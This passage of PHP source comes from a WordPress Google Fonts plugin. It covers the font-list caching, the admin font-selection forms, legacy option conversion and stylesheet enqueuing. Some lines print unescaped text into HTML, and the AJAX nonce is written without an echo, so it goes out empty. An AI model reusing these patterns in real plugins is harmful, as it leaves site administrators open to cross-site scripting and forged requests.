		function gf_print_notices(){		
			$out = null;
			if($this->gf_notices){
				$out.= "<ul class='notices'>\n";
				foreach($this->gf_notices as $notice){
					$out.= "<li class='notice'>".$notice."</li>\n";
				}
				$out.= "</ul>\n";
			}
			return $out;
		}
		
		function gf_get_font_file(){
			$fonts = null;
			$fonts_object = null;
			
			$this->gf_check_font_cache();
			
			$json = get_option($this->gf_data_option_name);
			
			if($json){
				$fonts_object = json_decode($json);
			}
			if($fonts_object && is_object($fonts_object)){
				if(isset($fonts_object->error) && $fonts_object->error){
					$this->gf_notices[] = sprintf(__('Google API Error: %s. %s', $this->localizationDomain), $fonts_object->error->code, $fonts_object->error->message);
				}
				if($fonts_object->items && is_array($fonts_object->items)){
					$fonts = $fonts_object->items;
				}
			}
			$this->gf_fonts = $fonts;
		}
		
		function gf_check_font_cache(){
			$result = false;
			
			if($this->gf_fonts){
				/* 60 seconds x 60 minutes x 12 hours */
				$filetime = $this->options['googlefont_data_time'];
				if(time() >= ($filetime + (60 * 60 * 12))){
					if($this->gf_update_font_cache()){
						$this->gf_notices[] = sprintf(__("Font list sync successful, updated %s.", $this->localizationDomain), $this->gf_font_list_time());
						$result = true;
					}else{
						$this->gf_notices[] = sprintf(__("Unable to do a live update on the font list. Using cached version from %s.", $this->localizationDomain), $this->gf_font_list_time($filetime));
					}
				}else{
					$this->gf_notices[] = sprintf(__("Font list is up to date. Last updated %s.", $this->localizationDomain), $this->gf_font_list_time($filetime));
				}
			}else{
				if($this->gf_update_font_cache()){
					$this->gf_notices[] = sprintf(__("Font list sync successful, created %s.", $this->localizationDomain), $this->gf_font_list_time());
					$result = true;
				}else{
					$this->gf_notices[] = __("Font list file doesn't exist and wasn't able to be updated.", $this->localizationDomain);
				}
			}
			
			return $result;
		}
		
		function gf_font_list_time($filetime=null){
			if(!$filetime){
				$filetime = $this->options['googlefont_data_time'];
			}
			
			$offset = (int)get_option('gmt_offset') * 60 * 60;
			
			return (date('F j, Y, G:i:s',($filetime + $offset)));
		}
		
		function gf_update_font_cache(){
			$updated = false;
			$fonts_json = NULL;//$this->gf_download_font_list($this->api_url); // No longer works without api key
			
			/* if we didn't get anything, try with api key */
			if(!$fonts_json){
				$fonts_json = $this->gf_download_font_list($this->api_url.$this->api_key);
			}
			
			/* if still nothing and do not have a cache already, then get the local file instead */
			if(!$fonts_json && !$this->gf_fonts){
				$fonts_json = $this->gf_get_local_fonts();
			}
			
			if($fonts_json){
				/* put into option in WordPress */
				$updated = update_option($this->gf_data_option_name,$fonts_json);
			}
			return $updated;
		}
		
		function gf_download_font_list($url){
			$fonts_json = null;
			
			if(function_exists('wp_remote_get')){
				
				$response = wp_remote_get($url/*, array('sslverify' => false)*/);

				if( is_wp_error($response)){
				
					$this->gf_notices[] = sprintf(__("Unable to connect to Google's Webfont server at <a href='%s' target='_blank'>this URL</a>.", $this->localizationDomain), $url);
					foreach($response->errors as $error){
						foreach($error as $message){
							$this->gf_notices[] = $message;
						}
					}
				
				}else{
					/* see if the response has an error */
					
					if(isset($response['body']) && $response['body']){
						
						if(strpos($response['body'], 'error') === false){
							/* no errors, good to go */
							$fonts_json = $response['body'];
							
							/* update the last updated time */
							$this->options['googlefont_data_time'] = time();
							
							/* save the options */
							$this->saveAdminOptions();
							
						}else{
						
							$error = json_decode($response['body']);
							$this->gf_notices[] = '<span class="slight">' . sprintf(__('Google API Notice: %s. %s', $this->localizationDomain), $error->error->code, $error->error->message) . '</span>';
						
						}
					}
				}
			}
			
			return $fonts_json;
		}
		
		function gf_get_local_fonts(){
			$fonts = null;
			
			include $this->gf_fonts_file;

			if($fonts){
				$this->gf_notices[] = __("Using the local font list file because we could not connect with Google.", $this->localizationDomain);
			}else{
				$this->gf_notices[] = __("Local font list file cannot be found or does not exist.", $this->localizationDomain);
			}
			
			return $fonts;
		}

		function gf_get_fonts_select($name="googlefont"){			
			//prefill all the select boxes because there's not as much overhead there.
			$out = null;
			
			if($this->gf_fonts && is_array($this->gf_fonts)){
				$variants= null;
				$subsets = null;
				$first = true;
				
				$current_selection = $this->options['googlefont_selections'][$name]['family'];
				
				$out .= "<div id='".$name."' class='googlefont-block'>\n";
				
				$out .= "<select name='".$name."[family]' id='".$name."-select' class='webfonts-select'>\n";
			
				foreach($this->gf_fonts as $font){
					$class = array();			
					$has_variants = false;
					$has_subsets = false;
					$normalized_name = $this->gf_normalize_font_name($font->family);
					$is_selection = false;
					
					if($normalized_name == $current_selection){
						$is_selection = true;
					}
					
					$class[] = $normalized_name;
					
					if(count($font->variants)>1){
						$class[] = "has-variant";
					}
					if(count($font->subsets)>1){
						$class[] = "has-subsets";
					}
					
					/* write the blank and 'none options on first pass */
					if($first){
						$first = false;
						$out.="<option value=''></option>\n";
						$out.="<option class='".implode(" ",$class)."' value='off' ".
								$this->gf_is_selected($normalized_name, $current_selection).
								">" . __("None (Turn off this font)", $this->localizationDomain) . "</option>\n";
					}
					
					/* write the option */
					$out.="<option class='".implode(" ",$class)."' value='".$normalized_name.
							"' ".$this->gf_is_selected($normalized_name, $current_selection).">" . $font->family . "</option>\n";
					
					if($is_selection){
						/* get the font family variants */
						$variants = $this->gf_get_font_variants($name, $font, $is_selection);
						
						/* get the font character type subsets */
						$subsets = $this->gf_get_font_subsets($name, $font, $is_selection);
					}
				}
				
				$out.= "</select>\n";
				
				//if a font is already selected, get all of its details
				//otherwise, create a blank input for each.
				if(!$variants && !$subsets){
					$variants = '<input type="checkbox" name="'.$name.'[variants][]" value="regular" class="check '.$normalized_name.' blank"> <label>Normal 400</label>';
					$subsets = '<input type="checkbox" name="'.$name.'[subsets][]" value="latin" class="check '.$normalized_name.' blank"> <label>Latin</label>';
				}
				
				if($current_selection && $current_selection != 'off'){
					$out .= '<a href="#'.$name.'-select" class="show_hide" id="show_hide-'.$name.'">' . __('Show Options', $this->localizationDomain) . '</a>';
				}
				
				/* add an ajax message div to indicate loading/waiting message or image */
				$out.="<div class='webfonts-waiting'></div>\n";
				
				/* add a section for additional selections */
				$out.= $this->gf_get_font_selections($name, $variants, $subsets);
				
				$out.='<div style="clear:both;"><input class="button-primary" type="submit" name="googlefonts_save" value="' . __('Save All Fonts', $this->localizationDomain) . '" /></div>';
				
				$out.="</div>\n";
			}
			
			return $out;
		}
		
		function gf_get_font_subsets($name, $font, $is_selection=false){
			$subsets = null;
			
			if($font && isset($font->subsets)){
				$normalized_name = $this->gf_normalize_font_name($font->family);
				$has_subsets = false;
				if(count($font->subsets)>1){
					$has_subsets = true;
				}
				krsort($font->subsets);
				$subsets .= "<div class='subset-".$normalized_name." subset-items'>\n";
				$sid = null;
				foreach($font->subsets as $subset){
					$sid = $this->gf_normalize_font_name($font->family . " " . $subset);
					$schecked = null;
					$readonly = null;
					if($is_selection){
						$schecked = $this->gf_is_checked($subset, $this->options['googlefont_selections'][$name]['subsets']);
					}
					if($is_selection && !$has_subsets){
						$readonly = " readonly='readonly'";
					}
					$subsets .= '<input type="checkbox" id="'.$sid.'" name="'.$name.'[subsets][]" value="'.
									$subset.'" class="check ' . $normalized_name.'"'. $schecked . $readonly . '> <label for="'.$sid.
									'">' . ucwords($subset) . '</label><br>';
					
				}
				$subsets .= "</div>\n";
			}
			return $subsets;
		}
		
		function gf_get_font_variants($name, $font=null, $is_selection=false){
			$variants = null;
			if($font && isset($font->variants)){
				$normalized_name = $this->gf_normalize_font_name($font->family);
				$has_variants = false;
				if(count($font->variants)>1){
					$has_variants = true;
				}
				ksort($font->variants);
				$variants .= "<div class='variant-".$normalized_name." variant-items'>\n";
				$vid = null;
				foreach($font->variants as $variant){
					$vid = $this->gf_normalize_font_name($font->family . " " . $this->gf_fancy_font_name($variant));
					$vchecked = null;
					$readonly = null;
					if($is_selection){
						$vchecked = $this->gf_is_variant_checked($variant, $this->options['googlefont_selections'][$name]['variants']);
					}
					if($is_selection && !$has_variants){
						$readonly = " readonly='readonly'";
					}
					$variants .= '<input type="checkbox" id="'.$vid.'" name="'.$name.'[variants][]" value="'.
									$variant.'" class="check ' . $normalized_name.'"'. $vchecked . $readonly . '> <label for="'.$vid.
									'">' . $this->gf_fancy_font_name($variant) . '</label><br>';
					
				}
				$variants .= "</div>\n";
			}
			return $variants;
		}
		
		function gf_get_font_selections($name, $variants, $subsets){
			$out = null;
			$out.= "<div class='webfonts-selections'>\n";
				
				/* preview the font...coming soon 
				if(isset($this->options['googlefont_selections'][$name]['family'])){
					$normal_name = $this->options['googlefont_selections'][$name]['family'];
					if($normal_name){
						$out.= "<div class='webfonts-preview'><h3>".__('Preview:', $this->localizationDomain)."</h3>\n";
						$out.= "<iframe width='608' src='http://www.google.com/webfonts/specimen/".$normal_name."'></iframe>";
						$out.= "</div>\n";
					}
				}*/

				/* add in all variants that will appear through jQuery */
				$out.= "<div class='webfonts-variants'><h3>" . __('1. Choose the font styles you want:*', $this->localizationDomain) . "</h3>\n".$variants."</div>\n";
				
				/* add in the dom elements the user would like it to affect and custom css box */
				$out.= "<div class='webfonts-usage'><h3>" . __('2. Elements you want to assign this font to:*', $this->localizationDomain) . "</h3>\n".$this->gf_get_usage_checkboxes($name)."</div>\n";
				$out.= "<div class='webfonts-css'><h3>" . __('3. Custom CSS (optional):', $this->localizationDomain) . "</h3>\n<textarea name='".$name."[css]' id='".$name."_css'>".stripslashes($this->options[$name."_css"])."</textarea>\n</div>\n";
				
				/* add in subsets */
				$out.= "<div class='webfonts-subsets'><h3>" . __('4. Choose character sets you want.', $this->localizationDomain) . "</h3>\n".$subsets."</div>\n";
			$out.="</div>";
			return $out;
		}
		
		function gf_get_font_data_by_family($googlefont, $family, $data_type){
			$data = null;
			if(is_string($family)){
				$font = null;
				
				if($this->gf_fonts){
					if(!is_array($this->gf_fonts)){
						$fonts = json_decode($this->gf_fonts);
					}else{
						$fonts = $this->gf_fonts;
					}

					foreach($fonts->items as $findfont){
						if($this->gf_normalize_font_name($findfont->family) == $family){
							$font = $findfont;
						}
					}
				}
				if($font && is_object($font)){
					if($data_type == 'variants'){
						$data = $this->gf_get_font_variants($googlefont, $font);
					}
					if($data_type == 'subsets'){
						$data = $this->gf_get_font_subsets($googlefont, $font);
					}
				}
			}
			
			return $data;
		}
		
		function gf_is_selected($item, $compare){
			if(is_string($item)){$item = strtolower($item);}
			if(is_string($compare)){$compare = strtolower($compare);}
			
			if($item==$compare){
				return (' selected=selected');
			}
			return null;
		}
		
		function gf_is_checked($item, $compare){
			if(is_string($item)){$item = strtolower($item);}
			if(is_string($compare)){$compare = strtolower($compare);}
			
			if(is_array($compare) && $compare){
				if(in_array($item, $compare)){
					return (' checked=checked');
				}
			}elseif($item==$compare){
				return (' checked=checked');
			}
			return null;
		}
		
		function gf_is_variant_checked($item, $compare){
			$checked = ' checked=checked';
			if(is_string($item)){$item = strtolower($item);}
			if(is_string($compare)){$compare = strtolower($compare);}
			
			if(is_array($compare) && $compare){
				if(in_array($item, $compare)){
					return $checked;
				}
			}elseif($item == $compare){
				return $checked;
			}
			return null;
		}
		
		function gf_normalize_font_name($name){
			return(str_replace(" ","-",trim($name)));
		}

		function gf_fancy_font_name($name){
			$ids = $this->font_styles_translation;
			$text = array();
			
			foreach($ids as $key=>$val){
				$pos = stripos((string)$name,(string)$key);
				if($pos !== false){
					if($key == 'regular'){
						$key = null;
					}
					$text[]= "$val $key";
				}
			}
			
			if(stripos($name,'italic') !== false){
				$text[]='Italic';
			}
			
			if($name == 'italic'){
				$text=array('Normal 400 Italic');
			}
			
			$name = implode(' ',$text);
			return $name;
		}

		function gf_get_usage_checkboxes($element){
			$out = null;
			
			if(is_array($this->gf_usage_elements)){
				/* get current selections */
				foreach($this->gf_usage_elements as $key => $val){
					$checked = null;
					if($this->options[$element."_".$key] == "checked"){
						$checked = ' checked="checked"';
					}
					$out .= '<input type="checkbox" id="' . $element . "_" . $key . '" name="'.
							$element.'[usage][]" value="'.$key.'"'.$checked.'> <label for="' . 
							$element . "_" . $key . '">'.$val.'</label><br>';
				}
			}
			return $out;
		}

		/* replaces listgooglefontoptions functionality from prior to v3.0 */
		function gf_get_selection_boxes($element_names){
			$this->gf_get_font_file();
			$out = null;
			if(is_array($element_names)){
				$i = 1;
				foreach($element_names as $name){
					$out.="<h2>" . sprintf(__('Font %s', $this->localizationDomain), $i) . "</h2>\n";
					$out.= $this->gf_get_fonts_select($name);
					$i++;
				}
			}
			return ($out);
		}
		        
		/* deprecated and replaced by gf_get_selection_boxes in v3.0 */
		function listgooglefontoptions(){
			return null;
		}
		
		function get_api_query(){
			$query = null;
			$fonts = $this->options['googlefont_selections'];
			$families = array();
			$subsets = array();
			
			if($fonts && is_array($fonts)){
				$i = 0;
				foreach($fonts as $fontvars){
					if(isset($fontvars['family']) && $fontvars['family']){
						/* Proper Case everything, otherwise Google does not recognize it */
						$words = explode("-",$fontvars['family']);
						foreach($words as $key => $word){
							$words[$key] = ucwords($word);
						}
						
						$families[$i] = implode('+', $words);
						if(isset($fontvars['variants']) && !empty($fontvars['variants'])){
							/* Convert 'regular' and 'italic' to be the same way Google does it.
							 * It works without converting it, but we do it for the sake of consistency */
							foreach($fontvars['variants'] as $key => $var){
								if($var == 'regular'){$fontvars['variants'][$key] = '400';}
								if($var == 'italic'){$fontvars['variants'][$key] = '400italic';}
							}
							 
							$families[$i] = $families[$i] . ":" . implode(",", $fontvars['variants']);
						}
						if(isset($fontvars['subsets']) && !empty($fontvars['subsets'])){
							foreach($fontvars['subsets'] as $sub){
								if(!in_array($sub, $subsets)){
									$subsets[] = $sub;
								}
							}
						}
					}
					$i++;
				}
				
				$query .= "?family=" . implode("|", $families);
				if($subsets){
					$query .= "&subset=" . implode(",", $subsets);
				}
			}
			return $query;
		}

		/* totally re-written for v3.0 */	
		/*work out issue with url being encoded. see script_loader_src hook 			
		has to do with $tag .= apply_filters( 'style_loader_tag', "... in wp-includes/class.wp-styles.php
		and style_loader_src
		*/
		function googlefontsstart(){
			$have_selections = false;
			$options = get_option('googlefonts_options');
			if(isset($options['googlefont_selections'])){
				$fonts = $options['googlefont_selections'];
			}
			
			if(!empty($fonts)){
				foreach($fonts as $val){
					if(isset($val['family']) && $val['family'] && $val['family'] != 'off'){
						$have_selections = true;
					}
				}
			}
			
			if($have_selections){
				
				// check to see if site is uses https
				$http = (!empty($_SERVER['HTTPS'])) ? "https" : "http";
				$url = $http.'://fonts.googleapis.com/css';
				$url .= $this->get_api_query();
				
				//possibly add a checkbox to admin to add this code to the head manually if enqueue does not work
				add_filter('style_loader_tag',array(&$this,'gf_url_filter'),1000,2);
				wp_enqueue_style('googlefonts',$url, null, null);
				remove_filter('style_loader_tag',array(&$this,'gf_url_filter'));
			}
		}
		
		function gf_url_filter($tag=null, $handle=null){
			if($handle == 'googlefonts'){
				//put back in regular ampersands //
				$tag = str_replace('#038;', '', $tag);
			}
			return $tag;
		}
		
		/* maybe replace with a custom style sheet in the future */
		function addgooglefontscss() {
			$uses = $this->gf_usage_elements_map;
			$names = $this->gf_element_names;
			$styles = null;
		
			/* do for all in gf_element_names */
			if($uses && $names){
				foreach($names as $font => $name){
					$family = null;
					if(isset($this->options['googlefont_selections'][$name]['family'])){
						$family = $this->options['googlefont_selections'][$name]['family'];
					}
					if($family){
						foreach($uses as $key => $tag){
							if($this->options[$name . "_" . $key] == 'checked'){
								$styles .= "\t" . $tag . '{ font-family:"'.str_replace("-", " ", $family).'", arial, sans-serif;}';
								$styles .= "\n";
							}
						}
						
						if(trim($this->options[$name . '_css'])){
							$styles .= "\t" . trim(stripslashes($this->options[$name . '_css'])). "\n";
						}
					}
				}
			}
			
			if($styles){
				echo "<style type='text/css' media='screen'>\n";
				echo $styles;
				echo "</style>\n<!-- fonts delivered by Wordpress Google Fonts, a plugin by Adrian3.com -->";
			}
		}

        /**
        * Retrieves the plugin options from the database.
        * @return array
        */
        function getOptions() {
            //Don't forget to set up the default options
            if (!$theOptions = get_option($this->optionsName)) {
							$theOptions = array(
				/* leave for backwards compatability */
				'googlefonts_font1'=>'',
				'googlefonts_font2'=>'',
				'googlefonts_font3'=>'',
				'googlefonts_font4'=>'',
				'googlefonts_font5'=>'',
				'googlefonts_font6'=>'',
				/* end of leave for backwards compatability */
				
				'googlefont1_css'=>' ',
				'googlefont1_heading1'=>'unchecked',
				'googlefont1_heading2'=>'unchecked',
				'googlefont1_heading3'=>'unchecked',
				'googlefont1_heading4'=>'unchecked',
				'googlefont1_heading5'=>'unchecked',
				'googlefont1_heading6'=>'unchecked',
				'googlefont1_body'=>'unchecked',
				'googlefont1_blockquote'=>'unchecked',
				'googlefont1_p'=>'unchecked',
				'googlefont1_li'=>'unchecked',

				'googlefont2_css'=>' ',
				'googlefont2_heading1'=>'unchecked',
				'googlefont2_heading2'=>'unchecked',
				'googlefont2_heading3'=>'unchecked',
				'googlefont2_heading4'=>'unchecked',
				'googlefont2_heading5'=>'unchecked',
				'googlefont2_heading6'=>'unchecked',
				'googlefont2_body'=>'unchecked',
				'googlefont2_blockquote'=>'unchecked',
				'googlefont2_p'=>'unchecked',
				'googlefont2_li'=>'unchecked',	

				'googlefont3_css'=>' ',
				'googlefont3_heading1'=>'unchecked',
				'googlefont3_heading2'=>'unchecked',
				'googlefont3_heading3'=>'unchecked',
				'googlefont3_heading4'=>'unchecked',
				'googlefont3_heading5'=>'unchecked',
				'googlefont3_heading6'=>'unchecked',
				'googlefont3_body'=>'unchecked',
				'googlefont3_blockquote'=>'unchecked',
				'googlefont3_p'=>'unchecked',
				'googlefont3_li'=>'unchecked',
				
				'googlefont4_css'=>' ',
				'googlefont4_heading1'=>'unchecked',
				'googlefont4_heading2'=>'unchecked',
				'googlefont4_heading3'=>'unchecked',
				'googlefont4_heading4'=>'unchecked',
				'googlefont4_heading5'=>'unchecked',
				'googlefont4_heading6'=>'unchecked',
				'googlefont4_body'=>'unchecked',
				'googlefont4_blockquote'=>'unchecked',
				'googlefont4_p'=>'unchecked',
				'googlefont4_li'=>'unchecked',
				
				'googlefont5_css'=>' ',
				'googlefont5_heading1'=>'unchecked',
				'googlefont5_heading2'=>'unchecked',
				'googlefont5_heading3'=>'unchecked',
				'googlefont5_heading4'=>'unchecked',
				'googlefont5_heading5'=>'unchecked',
				'googlefont5_heading6'=>'unchecked',
				'googlefont5_body'=>'unchecked',
				'googlefont5_blockquote'=>'unchecked',
				'googlefont5_p'=>'unchecked',
				'googlefont5_li'=>'unchecked',

				'googlefont6_css'=>' ',
				'googlefont6_heading1'=>'unchecked',
				'googlefont6_heading2'=>'unchecked',
				'googlefont6_heading3'=>'unchecked',
				'googlefont6_heading4'=>'unchecked',
				'googlefont6_heading5'=>'unchecked',
				'googlefont6_heading6'=>'unchecked',
				'googlefont6_body'=>'unchecked',
				'googlefont6_blockquote'=>'unchecked',
				'googlefont6_p'=>'unchecked',
				'googlefont6_li'=>'unchecked',
				
				/* primary fonts variable as of v3.0 */
				'googlefont_data_time' => 0,
				'googlefont_selections' => array(
						'googlefont1' => array(
							'family' => null,
							'variants' => array(),
							'subsets' => array()
						)
					),
				'googlefont_data_converted' => false
			);
                update_option($this->optionsName, $theOptions);
            }
            $this->options = $theOptions;
            
			if(!isset($this->options['googlefont_data_time'])){
				$this->options['googlefont_data_time'] = 0;
				$this->saveAdminOptions();
			}
            //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
            //There is no return here, because you should use the $this->options variable!!!
            //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        }
		
		
		
		/* convert fonts in old options variable to new array variable */
		function gf_convert_fonts(){
			$converted = false;
			if(isset($this->options['googlefont_data_converted'])){
				$converted = $this->options['googlefont_data_converted'];
			}
			if(!$converted){
				foreach($this->gf_element_names as $option => $name){
					$family = null;
					$variants = array();
					
					if(isset($this->options[$option]) && $this->options[$option]){
						
						if($this->options[$option] == 'off'){
							/* set to empty array for this font */
							$this->options['googlefont_selections'][$name] = array(
								'family' => null,
								'variants' => array(),
								'subsets' => array()
							);
						}else{
							/* convert current string to array */
							/* get the font family, everything left of the ':' */
							$font = $this->options[$option];
							$delim = stripos($font,":");
							
							if($delim  !== false){
								$family = $this->gf_normalize_font_name(substr($font, 0, $delim));
								$variations = substr($font, $delim + 1);
								$variants = explode(",",$variations);
							}else{
								$family = $this->gf_normalize_font_name($font);
								$variants = array('regular');
							}
							
							/* standardize all '400' to 'regular', and '400italic' to 'italic',
							 * and 'bold' to 700 and bolditalic to 700italic, and 'light' to 300
							 * to match Google's naming convention */
							if($variants && is_array($variants)){
								foreach($variants as $key => $val){
									if($val == '400' || $val == 400){$variants[$key] = 'regular';}
									if($val == '400italic'){$variants[$key] = 'italic';}
									if(strtolower($val) == 'bold'){$variants[$key] = '700';}
									if(strtolower($val) == 'bolditalic'){$variants[$key] = '700italic';}
									if(strtolower($val) == 'light'){$variants[$key] = '300';}
									if(strtolower($val) == 'lightitalic'){$variants[$key] = '300italic';}
								}
							}
							
							/* set the options */
							$this->options['googlefont_selections'][$name]['family'] = $family;
							$this->options['googlefont_selections'][$name]['variants'] = $variants;
							
							/* leave subsets blank for the form javascript to handle it at run time because not all are latin */
							$this->options['googlefont_selections'][$name]['subsets'] = array();
							
							/* clear old option */
							$this->options[$option] = '';
						}
					}else{
						/* skip it if it has already been converted */
						if(!isset($this->options['googlefont_selections'][$name]['family']) || !$this->options['googlefont_selections'][$name]['family']){
							/*working with the old array or empty array, set new array to empty for this font */
							$this->options['googlefont_selections'][$name] = array(
									'family' => null,
									'variants' => array(),
									'subsets' => array()
								);
								
							/* clear old option */
							$this->options[$option] = '';
						}
					}
				}
			
				//note that we've made the conversion from prior to 3.0
				$this->options['googlefont_data_converted'] = true;
				
				//save the changes
				$this->saveAdminOptions();
			}
		}
		
		
        /**
        * Saves the admin options to the database.
        */
        function saveAdminOptions(){
            return update_option($this->optionsName, $this->options);
        }
        
        /**
        * @desc Adds the options subpanel
        */
        function admin_menu_link() {
        	add_menu_page( 'Google Fonts', 'Google Fonts', 'manage_options', 'google-fonts', array(&$this,'admin_options_page') , 'dashicons-editor-textcolor');
			add_submenu_page( 'google-fonts', 'Other Tools', 'Other Tools', 'manage_options', 'gf-plugin-other-tools', array(&$this,'gf_other_tools_page'));

			add_submenu_page(
				'google-fonts',
				'Appsumo',
				'<span class="wp-font-sidebar-appsumo-link"><span class="dashicons dashicons-star-filled" style="font-size: 17px"></span> AppSumo</span>',
				'manage_options',
				'gf_go_appsumo_pro',
				array(&$this,'gf_handle_external_redirects')
			);

            add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), array(&$this, 'gf_filter_plugin_actions'), 10, 2 );
        }

        function global_notice() {
			if (in_array(substr(basename($_SERVER['REQUEST_URI']), 0, 11), array('plugins.php', 'index.php')) && get_option('wp_google_fonts_global_notification') == 1) {
				?>
					<style type="text/css">
						#wp_google_fonts_global_notification a.button:active {vertical-align:baseline;}
					</style>
				<?php
			}
		}

		function gf_other_tools_page() {
			include(plugin_dir_path( __FILE__ ).'/other_tools.php');
		}

		function gf_plugin_deactivate() {
			delete_option('wp_google_fonts_global_notification');
		}

		public function gf_handle_external_redirects() {
			if ( empty( $_GET['page'] ) ) {
				return;
			}

			if ( 'gf_go_appsumo_pro' === $_GET['page'] ) {
				wp_redirect( ( 'https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=wp-google-fonts' ) );
				die;
			}
		}

        /**
        * @desc Adds the Settings link to the plugin activate/deactivate page
        */
        function gf_filter_plugin_actions($links, $file) {
           //If your plugin is under a different top-level menu than Settiongs (IE - you changed the function above to something other than add_options_page)
           //Then you're going to want to change options-general.php below to the name of your top-level page
           $settings_link = '<a href="admin.php?page=google-fonts">' . __('Settings') . '</a>';
           array_unshift( $links, $settings_link ); // before other links

           return $links;
        }
        
		function gf_handle_submission($data){
			if (! wp_verify_nonce($_POST['_wpnonce'], 'googlefonts-update-options') ) die(__('Whoops! There was a problem with the data you posted. Please go back and try again.', $this->localizationDomain)); 
			
			if(is_array($data)){
				foreach($data as $googlefont => $options){
					if(is_array($options) && in_array($googlefont, $this->gf_element_names)){
						/* store the family, variants, css and usage options */
						foreach($options as $option => $value){
							if($option=='family' || $option=='variants' || $option=='subsets'){
								$this->options['googlefont_selections'][$googlefont][$option] = $value;
							}
							if($option=='css'){
								$this->options[$googlefont . '_' . $option] = $value;
							}	
						}
						
						//have to check and set all usage options separately because they are not an array
						if(isset($options['usage']) && is_array($options['usage']) && $options['usage']){
							foreach($this->gf_usage_elements as $key => $val){
								if(in_array($key, $options['usage'])){
									$this->options[$googlefont . "_" . $key] = 'checked';
								}else{
									$this->options[$googlefont . "_" . $key] = 'unchecked';
								}
							}
						}else{
							foreach($this->gf_usage_elements as $key => $val){
								$this->options[$googlefont . "_" . $key] = 'unchecked';
							}
						}
					}
				}
				return ($this->saveAdminOptions());
			}
			
			return false;
			
		}
		
        /**
        * Adds settings/options page
        */
        function admin_options_page() { 
			$message = null;
            if(isset($_POST['googlefonts_save']) && $_POST['googlefonts_save']){
                if($this->gf_handle_submission($_POST)){
                    $message = '<div class="updated"><p>' . __('Success! Your changes were sucessfully saved!', $this->localizationDomain) . '</p></div>';
				}else{
					$message = '<div class="error"><p>' . __('Error. Either you did not make any changes, or your changes did not save. Please try again.', $this->localizationDomain) . '</p></div>';
				}
            }

            add_thickbox();
            if ($_GET['wp_google_fonts_global_notification'] == 0) {
        		update_option('wp_google_fonts_global_notification', 0);
			}
			?>   
		   	<style type="text/css">
				#wp_google_fonts_global_notification a.button:active {vertical-align:baseline;}				
			</style>                            
            <div class="web-fonts-wrap">
            	<div class="web-fonts-content-left">
					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="web-fonts-settings">
					  <tr valign="top">
						<td width="650">
							<h1><?php _e('Google Font Control Panel', 'googlefonts'); ?></h1>
							<p><?php _e('This control panel gives you the ability to control how your Google Fonts fonts are displayed. For more information about this plugin, please visit the', $this->localizationDomain); ?> 
								<a href="https://github.com/adrian3/wp-google-fonts" title="Google Fonts plugin page"><?php _e('Google Fonts plugin page', $this->localizationDomain); ?></a>. 
								<?php _e('Thanks for using Google Fonts, and we hope you like this plugin.', $this->localizationDomain); ?></p>

							<hr />
							
							<form method="post" id="googlefonts_options">
							<?php wp_nonce_field('googlefonts-update-options'); ?>
							
							<h2><?php _e('Select Fonts', $this->localizationDomain);?></h2>
							
							<?php if($message){echo $message;} ?>
							
							<?php 
								/* This call gets all the font boxes and also sets some of the class options.
								 * gf_print_notices must be called after gf_get_selection boxes, or the notices
								 * will be empty.
								*/
								echo $this->gf_get_selection_boxes($this->gf_element_names);
							?>
							
							<h3><?php _e('Font List Synchronization', $this->localizationDomain); ?></h3>
							<?php echo $this->gf_print_notices();?>
							
							<h2><?php _e('Troubleshooting', $this->localizationDomain); ?></h2>
							<p><?php _e('This plugin uses open source fonts that are hosted on Google&rsquo;s servers. For more information about this service, you can visit the', $this->localizationDomain); ?> 
								<a href="http://www.google.com/fonts/"><?php _e('Google Font Directory', $this->localizationDomain); ?></a>.
							</p>
							<hr />


							<h2><?php _e('* CSS WARNING', $this->localizationDomain); ?></h2>
							<p><?php _e('Most likely the theme you are using has defined very specific elements in its stylesheet and these may override the generic tags specified above. If you don&rsquo;t see any changes after checking the style boxes above, you will need to enter custom css into the CSS box. An example of CSS that would be more specific would be:', $this->localizationDomain); ?></p>
								
							<p>#container p { font-family: 'Reenie Beanie', arial, sans-serif; }</p>

							<p><?php _e('This would define all paragraphs found within a &lt;div id=&quot;container&quot;&gt;&lt;/div&gt; element. Stylesheets (CSS) can be sensitive and tricky sometimes. If you are new to CSS the <a href="http://www.w3schools.com/css/" title="w3schools tutorials">w3schools tutorials</a> are a great place to start.', $this->localizationDomain); ?>

							</form>
						</td>
					  </tr>	
					</table>
				</div>

				<div class="web-fonts-content-right">
					<div class="google-fonts-content-container-right">
						<div class="web-fonts-promo-box entry-content"> 
							<p class="web-fonts-promo-box-header">Your one stop WordPress shop</p>
							<ul>
							   <li>&#8226; Get the latest WordPress software deals</li>
							   <li>&#8226; Plugins, themes, form builders, and more</li>
							   <li>&#8226; Shop with confidence; 60-day money-back guarantee</li>
							</ul>	
							<div align="center">
								<button onclick="window.open('https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=wp-google-fonts')" class="google-fonts-appsumo-capture-container-button" type="submit">Show Me The Deals</button>
							</div>
						</div>

						<div class="web-fonts-promo-box web-fonts-promo-box-form  entry-content"> 
						 	<?php include 'appsumo-capture-form.php'; ?>
						</div>
					</div>
				</div>
			</div>




				
				<script type="text/javascript">
					jQuery(document).ready(function() {
						jQuery('.webfonts-select').change(function() {
							var gf_aj_name = jQuery(this).parent().attr("id");
							var gf_aj_family = jQuery(this).val();
					
							var data = {
								action: 'googlefont_action',
								security: '<?php wp_create_nonce("gf-string");?>',
								googlefont_ajax_family: gf_aj_family,
								googlefont_ajax_name: gf_aj_name
							};
							
							if(gf_aj_family == '' || gf_aj_family == 'off'){
								gf_reset_selections(gf_aj_name, gf_aj_family);
								return false;
							}else{						
								jQuery('#' + gf_aj_name + ' .webfonts-waiting').html('<div class="gfspinner"></div>');
								jQuery.post(ajaxurl, data, function(response) {
									jQuery('#' + gf_aj_name + ' .webfonts-waiting').html('');
									jQuery('#' + gf_aj_name + ' .webfonts-selections').replaceWith(response);
									gf_reset_selections(gf_aj_name, gf_aj_family);
									show_selected_items(jQuery('#' + gf_aj_name));
								});
							}
						});
						
						jQuery('.show_hide').click(function() {
							
							var parent = jQuery(this).parent();
							
							if (jQuery(this).hasClass("showing")){
